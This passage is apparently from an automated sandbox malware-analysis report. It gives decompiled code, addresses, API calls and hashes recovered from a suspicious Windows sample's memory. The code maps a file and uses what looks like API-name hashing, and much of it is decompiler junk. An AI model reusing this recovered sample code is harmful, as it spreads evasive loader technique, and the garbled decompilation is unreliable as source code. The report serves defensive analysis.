				if ( *[gs:ebp] < 0) goto L13;
				asm("outsd");
				 *__edi =  *__edi + __ecx;
				if ( *__edi == 0) goto L14;
				 *__ecx =  *__ecx + _t39;
				_t67 =  *__ecx;
				if (_t67 >= 0) goto L15;
				if (_t67 == 0) goto L16;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				_t26 = 0 ^  *0x00000000 ^  *0x00000000;
				_pop(_t58);
				 *__esi =  *__esi + __ecx;
				if ( *__esi == 0) goto L17;
				 *[fs:eax+eax+0x6c] =  *[fs:eax+eax+0x6c] + __ecx;
				 *__esi =  *__esi + __ecx;
				 *0x0000006C =  *((intOrPtr*)(0x6c)) + _t26;
				 *0x00000000 =  *0x00000000 + __ecx;
				 *0xFFFFFFFFFFFFFF8D =  *((intOrPtr*)(_t26 - 0x73)) + _t39;
				_pop(_t27);
				_t50 = _t54 - 0x20c;
				 *((intOrPtr*)(_t39 + 0x24))(_t27, _t50, 0x104);
				_t30 = CreateFileW(_t50, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t30 == 0xffffffff) {
					L23:
					 *((intOrPtr*)(_t54 - 4)) = 0;
				} else {
					_t52 = _t30;
					_t35 = CreateFileMappingW(_t30, 0, 0x1000002, 0, 0, 0);
					if(_t35 == 0) {
						goto L23;
					} else {
						_t52 = _t35;
						_t37 = MapViewOfFile(_t35, 4, 0, 0, 0);
						_t72 = _t37;
						if(_t37 == 0) {
							goto L23;
						} else {
							_t38 = E0040294D(_t39, _t72, _t37,  *((intOrPtr*)(_t54 + 0xc)));
							_t73 = _t38;
							if(_t38 == 0) {
								goto L23;
							} else {
								 *((intOrPtr*)(_t54 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t31 =  *_t58;
				_t59 = _t58 + 4;
				_push(0x1a4);
				_t42 =  *_t59;
				E004012AB(_t31, _t39, _t42, _t48, _t50, _t52, _t73);
				return  *((intOrPtr*)(_t54 - 4));
			}

0x004026e3
0x004026e3
0x004026e5
0x004026af
0x004026b9
0x004026c3
0x004026d2
0x004026da
0x004026df
0x004026e8
0x004026f7
0x004026fa
0x00402704
0x00402707
0x00402709
0x0040270d
0x0040270f
0x00402710
0x00402713
0x0040271a
0x0040271a
0x0040271d
0x0040271f
0x00402721
0x00402727
0x00402729
0x0040272a
0x0040272d
0x0040272f
0x00402734
0x00402736
0x0040273a
0x0040273e
0x0040273f
0x00402740
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

APIs

CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 00402762
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 00402778
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 00402789

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: 1b179bcfe910b87a8a955fe1b1eed2cf571238e9ef47b737966ed2af94659a1e
Instruction ID: f9858ee2a5dc549519e030f33e17688b8ecc85e3b313867f437356e1dc73bd0a
Opcode Fuzzy Hash: 1b179bcfe910b87a8a955fe1b1eed2cf571238e9ef47b737966ed2af94659a1e
Instruction Fuzzy Hash: BB3119B261C140AFE71196308E5DE7636589F91314B2889BFE842FB5D2E2FD8802916B

Uniqueness

Uniqueness Score: -1.00%

Function 004026BE, Relevance: 4.6, APIs: 3, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004026BE(void* __eax, intOrPtr* __edi, void* __esi) {
				intOrPtr _t22;
				signed char _t27;
				void* _t28;
				void* _t31;
				intOrPtr _t32;
				void* _t36;
				void* _t38;
				void* _t39;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr _t43;
				intOrPtr _t45;
				signed int _t47;
				signed int _t48;
				signed int _t49;
				signed int _t50;
				signed int _t51;
				WCHAR* _t53;
				void* _t57;
				intOrPtr* _t59;
				intOrPtr* _t60;
				intOrPtr* _t63;
				intOrPtr* _t64;
				intOrPtr _t71;

				_t55 = __esi;
				asm("movsb");
				asm("lds edi, [ebx-0x15]");
				_t42 =  *_t59;
				_t60 = _t59 + 4;
				_t45 =  *_t60;
				_t22 = _t45;
				_t47 = _t45;
				__eax = __eax + 0xf7eb6870;
				__eflags = __eax;
				_t48 = _t47 << 5;
				_t49 = _t48 + _t22;
				asm("lodsb");
				_t50 = _t49;
				asm("loop 0xffffffc7");
				_t51 = _t50 ^ 0xd9a5de76;
				_t40 =  *((intOrPtr*)(_t57 + 8));
				L27();
				 *_t40 =  *_t40 + _t51;
				if ( *_t40 == 0) goto L21;
				 *[gs:ebp] =  *[gs:ebp] + _t42;
				if ( *[gs:ebp] < 0) goto L22;
				asm("outsd");
				 *__edi =  *__edi + _t42;
				if ( *__edi == 0) goto L23;
				 *_t42 =  *_t42 + _t40;
				_t71 =  *_t42;
				if (_t71 >= 0) goto L24;
				if (_t71 == 0) goto L25;
				 *[gs:ebp] =  *[gs:ebp] + _t42;
				_t27 = 0 ^  *0x00000000 ^  *0x00000000;
				_t63 = 0x2260;
				 *__esi =  *__esi + _t42;
				if ( *__esi == 0) goto L26;
				 *[fs:eax+eax+0x6c] =  *[fs:eax+eax+0x6c] + _t42;
				 *__esi =  *__esi + _t42;
				 *0x0000006C =  *((intOrPtr*)(0x6c)) + _t27;
				 *0x00000000 =  *0x00000000 + _t42;
				 *0xFFFFFFFFFFFFFF8D =  *((intOrPtr*)(_t27 - 0x73)) + _t40;
				_t28 = 0x22a4;
				_t53 = _t57 - 0x20c;
				 *((intOrPtr*)(_t40 + 0x24))(_t28, _t53, 0x104);
				_t31 = CreateFileW(_t53, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t31 == 0xffffffff) {
					L32:
					 *((intOrPtr*)(_t57 - 4)) = 0;
				} else {
					_t55 = _t31;
					_t36 = CreateFileMappingW(_t31, 0, 0x1000002, 0, 0, 0);
					if(_t36 == 0) {
						goto L32;
					} else {
						_t55 = _t36;
						_t38 = MapViewOfFile(_t36, 4, 0, 0, 0);
						_t76 = _t38;
						if(_t38 == 0) {
							goto L32;
						} else {
							_t39 = E0040294D(_t40, _t76, _t38,  *((intOrPtr*)(_t57 + 0xc)));
							_t77 = _t39;
							if(_t39 == 0) {
								goto L32;
							} else {
								 *((intOrPtr*)(_t57 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t32 =  *_t63;
				_t64 = _t63 + 4;
				_push(0x1a4);
				_t43 =  *_t64;
				E004012AB(_t32, _t40, _t43, _t51, _t53, _t55, _t77);
				return  *((intOrPtr*)(_t57 - 4));
			}

0x004026be
0x004026c0
0x0040268a
0x00402682
0x00402685
0x00402699
0x004026ac
0x004026ad
0x004026af
0x004026af
0x004026b9
0x004026c3
0x004026d2
0x004026da
0x004026df
0x004026e8
0x004026f7
0x004026fa
0x00402704
0x00402707
0x00402709
0x0040270d
0x0040270f
0x00402710
0x00402713
0x0040271a
0x0040271a
0x0040271d
0x0040271f
0x00402721
0x00402727
0x00402729
0x0040272a
0x0040272d
0x0040272f
0x00402734
0x00402736
0x0040273a
0x0040273e
0x0040273f
0x00402740
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: c6a21cf6e4c973aab70415da6f85a5a4d4d85fc7d4155f8cc8192fb16727536a
Instruction ID: afabff73d5dd96e3eadf4a59bbb013880cfbb4a5d027b736d3c902435dc33282
Opcode Fuzzy Hash: c6a21cf6e4c973aab70415da6f85a5a4d4d85fc7d4155f8cc8192fb16727536a
Instruction Fuzzy Hash: 603130B251C180AFE71196304E5DE773B685F51714B2889BFF842FB5D2E2BD8C02961B

Uniqueness

Uniqueness Score: -1.00%

Function 004026CA, Relevance: 4.6, APIs: 3, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004026CA(void* __eax, intOrPtr* __ecx, intOrPtr* __edi, void* __esi) {
				intOrPtr _t21;
				signed char _t26;
				void* _t27;
				void* _t30;
				intOrPtr _t31;
				void* _t35;
				void* _t37;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr _t42;
				intOrPtr _t44;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed int _t49;
				signed int _t50;
				WCHAR* _t52;
				void* _t56;
				intOrPtr* _t58;
				intOrPtr* _t61;
				intOrPtr* _t62;
				intOrPtr _t69;

				_t54 = __esi;
				asm("sbb ch, [eax+0x60]");
				_t44 =  *_t58;
				_t21 = _t44;
				_t46 = _t44;
				__eax = __eax + 0xf7eb6870;
				__eflags = __eax;
				_t47 = _t46 << 5;
				_t48 = _t47 + _t21;
				asm("lodsb");
				_t49 = _t48;
				asm("loop 0xffffffc7");
				_t50 = _t49 ^ 0xd9a5de76;
				_t39 =  *((intOrPtr*)(_t56 + 8));
				L23();
				 *_t39 =  *_t39 + _t50;
				if ( *_t39 == 0) goto L17;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				if ( *[gs:ebp] < 0) goto L18;
				asm("outsd");
				 *__edi =  *__edi + __ecx;
				if ( *__edi == 0) goto L19;
				 *__ecx =  *__ecx + _t39;
				_t69 =  *__ecx;
				if (_t69 >= 0) goto L20;
				if (_t69 == 0) goto L21;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				_t26 = 0 ^  *0x00000000 ^  *0x00000000;
				_t61 = 0x2260;
				 *__esi =  *__esi + __ecx;
				if ( *__esi == 0) goto L22;
				 *[fs:eax+eax+0x6c] =  *[fs:eax+eax+0x6c] + __ecx;
				 *__esi =  *__esi + __ecx;
				 *0x0000006C =  *((intOrPtr*)(0x6c)) + _t26;
				 *0x00000000 =  *0x00000000 + __ecx;
				 *0xFFFFFFFFFFFFFF8D =  *((intOrPtr*)(_t26 - 0x73)) + _t39;
				_pop(_t27);
				_t52 = _t56 - 0x20c;
				 *((intOrPtr*)(_t39 + 0x24))(_t27, _t52, 0x104);
				_t30 = CreateFileW(_t52, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t30 == 0xffffffff) {
					L28:
					 *((intOrPtr*)(_t56 - 4)) = 0;
				} else {
					_t54 = _t30;
					_t35 = CreateFileMappingW(_t30, 0, 0x1000002, 0, 0, 0);
					if(_t35 == 0) {
						goto L28;
					} else {
						_t54 = _t35;
						_t37 = MapViewOfFile(_t35, 4, 0, 0, 0);
						_t74 = _t37;
						if(_t37 == 0) {
							goto L28;
						} else {
							_t38 = E0040294D(_t39, _t74, _t37,  *((intOrPtr*)(_t56 + 0xc)));
							_t75 = _t38;
							if(_t38 == 0) {
								goto L28;
							} else {
								 *((intOrPtr*)(_t56 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t31 =  *_t61;
				_t62 = _t61 + 4;
				_push(0x1a4);
				_t42 =  *_t62;
				E004012AB(_t31, _t39, _t42, _t50, _t52, _t54, _t75);
				return  *((intOrPtr*)(_t56 - 4));
			}

0x004026ca
0x00402693
0x00402699
0x004026ac
0x004026ad
0x004026af
0x004026af
0x004026b9
0x004026c3
0x004026d2
0x004026da
0x004026df
0x004026e8
0x004026f7
0x004026fa
0x00402704
0x00402707
0x00402709
0x0040270d
0x0040270f
0x00402710
0x00402713
0x0040271a
0x0040271a
0x0040271d
0x0040271f
0x00402721
0x00402727
0x00402729
0x0040272a
0x0040272d
0x0040272f
0x00402734
0x00402736
0x0040273a
0x0040273e
0x0040273f
0x00402740
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: 372bbe8a106bc04fea79583e9d9f0bd19fe9cc82e644084c404a128bcb872d39
Instruction ID: 834428a7421589a0b0d15ee73e3df436ccebba49120f43375dd368e544780da1
Opcode Fuzzy Hash: 372bbe8a106bc04fea79583e9d9f0bd19fe9cc82e644084c404a128bcb872d39
Instruction Fuzzy Hash: F83120B251C180AFE71196304F5DE763B685F51314F2889BFE842BB5D2E6FC8C02965B

Uniqueness

Uniqueness Score: -1.00%

Function 004026D0, Relevance: 4.6, APIs: 3, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004026D0(signed int __eax, intOrPtr* __ecx, void* __edx, intOrPtr* __edi, void* __esi) {
				signed int _t20;
				signed int _t21;
				signed char _t23;
				void* _t24;
				void* _t27;
				intOrPtr _t28;
				void* _t32;
				void* _t34;
				void* _t35;
				intOrPtr* _t36;
				intOrPtr _t39;
				signed int _t42;
				signed int _t43;
				WCHAR* _t45;
				void* _t49;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr _t60;

				_t47 = __esi;
				asm("bound ebp, [ss:ebx+ebp*8-0x5be9fbfb]");
				asm("lodsb");
				_t42 = __edx + __eax;
				asm("loop 0xffffffc7");
				_t43 = _t42 ^ 0xd9a5de76;
				_t36 =  *((intOrPtr*)(_t49 + 8));
				L12();
				_t20 = __eax & 0x79007300;
				 *_t36 =  *_t36 + _t43;
				if ( *_t36 == 0) goto L6;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				if ( *[gs:ebp] < 0) goto L7;
				asm("outsd");
				 *__edi =  *__edi + __ecx;
				if ( *__edi == 0) goto L8;
				_t21 = _t20 & 0x73005c00;
				 *__ecx =  *__ecx + _t36;
				_t60 =  *__ecx;
				if (_t60 >= 0) goto L9;
				if (_t60 == 0) goto L10;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				_t23 = _t21 ^  *_t21 ^  *(_t21 ^  *_t21);
				_pop(_t53);
				 *__esi =  *__esi + __ecx;
				if ( *__esi == 0) goto L11;
				 *[fs:eax+eax+0x6c] =  *[fs:eax+eax+0x6c] + __ecx;
				 *__esi =  *__esi + __ecx;
				 *((intOrPtr*)(_t23 + _t23 + 0x6c)) =  *((intOrPtr*)(_t23 + _t23 + 0x6c)) + _t23;
				 *((intOrPtr*)(_t23 + _t23)) =  *((intOrPtr*)(_t23 + _t23)) + __ecx;
				 *((intOrPtr*)(_t23 - 0x73)) =  *((intOrPtr*)(_t23 - 0x73)) + _t36;
				_pop(_t24);
				_t45 = _t49 - 0x20c;
				 *((intOrPtr*)(_t36 + 0x24))(_t24, _t45, 0x104);
				_t27 = CreateFileW(_t45, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t27 == 0xffffffff) {
					L17:
					 *((intOrPtr*)(_t49 - 4)) = 0;
				} else {
					_t47 = _t27;
					_t32 = CreateFileMappingW(_t27, 0, 0x1000002, 0, 0, 0);
					if(_t32 == 0) {
						goto L17;
					} else {
						_t47 = _t32;
						_t34 = MapViewOfFile(_t32, 4, 0, 0, 0);
						_t65 = _t34;
						if(_t34 == 0) {
							goto L17;
						} else {
							_t35 = E0040294D(_t36, _t65, _t34,  *((intOrPtr*)(_t49 + 0xc)));
							_t66 = _t35;
							if(_t35 == 0) {
								goto L17;
							} else {
								 *((intOrPtr*)(_t49 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t28 =  *_t53;
				_t54 = _t53 + 4;
				_push(0x1a4);
				_t39 =  *_t54;
				E004012AB(_t28, _t36, _t39, _t43, _t45, _t47, _t66);
				return  *((intOrPtr*)(_t49 - 4));
			}

0x004026d0
0x004026d0
0x004026d2
0x004026da
0x004026df
0x004026e8
0x004026f7
0x004026fa
0x004026ff
0x00402704
0x00402707
0x00402709
0x0040270d
0x0040270f
0x00402710
0x00402713
0x00402715
0x0040271a
0x0040271a
0x0040271d
0x0040271f
0x00402721
0x00402727
0x00402729
0x0040272a
0x0040272d
0x0040272f
0x00402734
0x00402736
0x0040273a
0x0040273e
0x0040273f
0x00402740
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: 2f6352143afab4b2b54197a479705c9a2880d565655801839a9a056ff65b0765
Instruction ID: dbb42b6635860b6fa1e6088a629094275f78753ad9eb2d390d2737c7275dd3f7
Opcode Fuzzy Hash: 2f6352143afab4b2b54197a479705c9a2880d565655801839a9a056ff65b0765
Instruction Fuzzy Hash: 65312CB261C180AFE71196308E5CE7736589F51314F2889BFE842BB5D2E6FD8801926B

Uniqueness

Uniqueness Score: -1.00%

Function 004026F3, Relevance: 4.6, APIs: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E004026F3(void* __eax, intOrPtr* __ecx, void* __edx, intOrPtr* __edi, void* __esi) {
				signed char _t24;
				void* _t25;
				void* _t28;
				intOrPtr _t29;
				void* _t33;
				void* _t35;
				void* _t36;
				intOrPtr* _t37;
				intOrPtr _t40;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				WCHAR* _t47;
				void* _t51;
				intOrPtr* _t55;
				intOrPtr* _t56;
				intOrPtr _t62;

				_t49 = __esi;
				_t43 = __edx + __eax;
				asm("lodsb");
				_t44 = _t43;
				asm("loop 0xffffffc7");
				_t45 = _t44 ^ 0xd9a5de76;
				_t37 =  *((intOrPtr*)(_t51 + 8));
				L15();
				 *_t37 =  *_t37 + _t45;
				if ( *_t37 == 0) goto L9;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				if ( *[gs:ebp] < 0) goto L10;
				asm("outsd");
				 *__edi =  *__edi + __ecx;
				if ( *__edi == 0) goto L11;
				 *__ecx =  *__ecx + _t37;
				_t62 =  *__ecx;
				if (_t62 >= 0) goto L12;
				if (_t62 == 0) goto L13;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				_t24 = 0 ^  *0x00000000 ^  *0x00000000;
				_pop(_t55);
				 *__esi =  *__esi + __ecx;
				if ( *__esi == 0) goto L14;
				 *[fs:eax+eax+0x6c] =  *[fs:eax+eax+0x6c] + __ecx;
				 *__esi =  *__esi + __ecx;
				 *0x0000006C =  *((intOrPtr*)(0x6c)) + _t24;
				 *0x00000000 =  *0x00000000 + __ecx;
				 *0xFFFFFFFFFFFFFF8D =  *((intOrPtr*)(_t24 - 0x73)) + _t37;
				_pop(_t25);
				_t47 = _t51 - 0x20c;
				 *((intOrPtr*)(_t37 + 0x24))(_t25, _t47, 0x104);
				_t28 = CreateFileW(_t47, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t28 == 0xffffffff) {
					L20:
					 *((intOrPtr*)(_t51 - 4)) = 0;
				} else {
					_t49 = _t28;
					_t33 = CreateFileMappingW(_t28, 0, 0x1000002, 0, 0, 0);
					if(_t33 == 0) {
						goto L20;
					} else {
						_t49 = _t33;
						_t35 = MapViewOfFile(_t33, 4, 0, 0, 0);
						_t67 = _t35;
						if(_t35 == 0) {
							goto L20;
						} else {
							_t36 = E0040294D(_t37, _t67, _t35,  *((intOrPtr*)(_t51 + 0xc)));
							_t68 = _t36;
							if(_t36 == 0) {
								goto L20;
							} else {
								 *((intOrPtr*)(_t51 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t29 =  *_t55;
				_t56 = _t55 + 4;
				_push(0x1a4);
				_t40 =  *_t56;
				E004012AB(_t29, _t37, _t40, _t45, _t47, _t49, _t68);
				return  *((intOrPtr*)(_t51 - 4));
			}

0x004026f3
0x004026c3
0x004026d2
0x004026da
0x004026df
0x004026e8
0x004026f7
0x004026fa
0x00402704
0x00402707
0x00402709
0x0040270d
0x0040270f
0x00402710
0x00402713
0x0040271a
0x0040271a
0x0040271d
0x0040271f
0x00402721
0x00402727
0x00402729
0x0040272a
0x0040272d
0x0040272f
0x00402734
0x00402736
0x0040273a
0x0040273e
0x0040273f
0x00402740
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: a7192f7e42df51bd8ae17f56b4281dac95635fb41d3f33b606ca1296b1afaa0a
Instruction ID: 01be543521ebbaf855799cf2248b4f65f04f4c8090880025fd5928d3d554afae
Opcode Fuzzy Hash: a7192f7e42df51bd8ae17f56b4281dac95635fb41d3f33b606ca1296b1afaa0a
Instruction Fuzzy Hash: F5310BB2618180BFE71196308E5DE7636585F51314F2889BFE842FB5C2E6FC8C01925B

Uniqueness

Uniqueness Score: -1.00%

Function 0040273F, Relevance: 4.6, APIs: 3, Instructions: 66
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040273F(void* __ebx) {
				void* _t13;
				intOrPtr _t14;
				void* _t18;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t26;
				WCHAR* _t27;
				void* _t31;
				intOrPtr* _t33;
				intOrPtr* _t34;

				_t22 = __ebx;
				_pop(_t10);
				_t27 = _t31 - 0x20c;
				_push(0x104);
				_push(_t27);
				 *((intOrPtr*)(__ebx + 0x24))();
				_t13 = CreateFileW(_t27, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t13 == 0xffffffff) {
					L5:
					 *((intOrPtr*)(_t31 - 4)) = 0;
				} else {
					_t29 = _t13;
					_t18 = CreateFileMappingW(_t13, 0, 0x1000002, 0, 0, 0);
					if(_t18 == 0) {
						goto L5;
					} else {
						_t29 = _t18;
						_t20 = MapViewOfFile(_t18, 4, 0, 0, 0);
						_t39 = _t20;
						if(_t20 == 0) {
							goto L5;
						} else {
							_t21 = E0040294D(__ebx, _t39, _t20,  *((intOrPtr*)(_t31 + 0xc)));
							_t40 = _t21;
							if(_t21 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t31 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t14 =  *_t33;
				_t34 = _t33 + 4;
				_push(0x1a4);
				_t24 =  *_t34;
				E004012AB(_t14, _t22, _t24, _t26, _t27, _t29, _t40);
				return  *((intOrPtr*)(_t31 - 4));
			}

0x0040273f
0x0040273f
0x00402740
0x00402746
0x0040274b
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

APIs

CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 00402762
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 00402778
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 00402789

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: 1a80bfc572f46ea6ea556b5b9f33b271a8fb9e1bfc8bc70eb67de317d4e6c8ee
Instruction ID: 51bf42eebd00cdc9ec93e049b64d39c5a83963e69eb4322ec7e6f6f173edb306
Opcode Fuzzy Hash: 1a80bfc572f46ea6ea556b5b9f33b271a8fb9e1bfc8bc70eb67de317d4e6c8ee
Instruction Fuzzy Hash: 671139B5610100BBF7109A608E4DFBB72ADDB80724F20457BF902FB1C0D6BCDD02966A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040250A, Relevance: 1.3, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(3_\, xrefs: 00402527

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID: (3_\
API String ID: 0-1024548672
Opcode ID: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction ID: 64c156a0781b3c67ba192cd992c8aad639144a23081a5c252ffbc859459b19b0
Opcode Fuzzy Hash: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction Fuzzy Hash: 60113B7911520D6FE33C8A6995A00C2B796FF85608BA1284DD3818FE03C932B493CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402491, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction ID: 0d435e3da4236d765e4c301cf304dd2dd2fe2570b998ddab2789a7de4284b15f
Opcode Fuzzy Hash: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction Fuzzy Hash: 1001A27800265CAB972DCAA5D5D9041FFA9EE06330FA8EC8DC7824FD42CEB57086C643

Uniqueness

Uniqueness Score: -1.00%

Function 0040201A, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction ID: 7ec0170f8d63d1cb41ea52610257a3a2e440b84d0ce0a50aa0c143b35ceb2a17
Opcode Fuzzy Hash: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction Fuzzy Hash: 26F0C87410020D6ED22CD7A0D185052B7A4FFC1304F611D5DC3422BCA2C939B853DA83

Uniqueness

Uniqueness Score: -1.00%

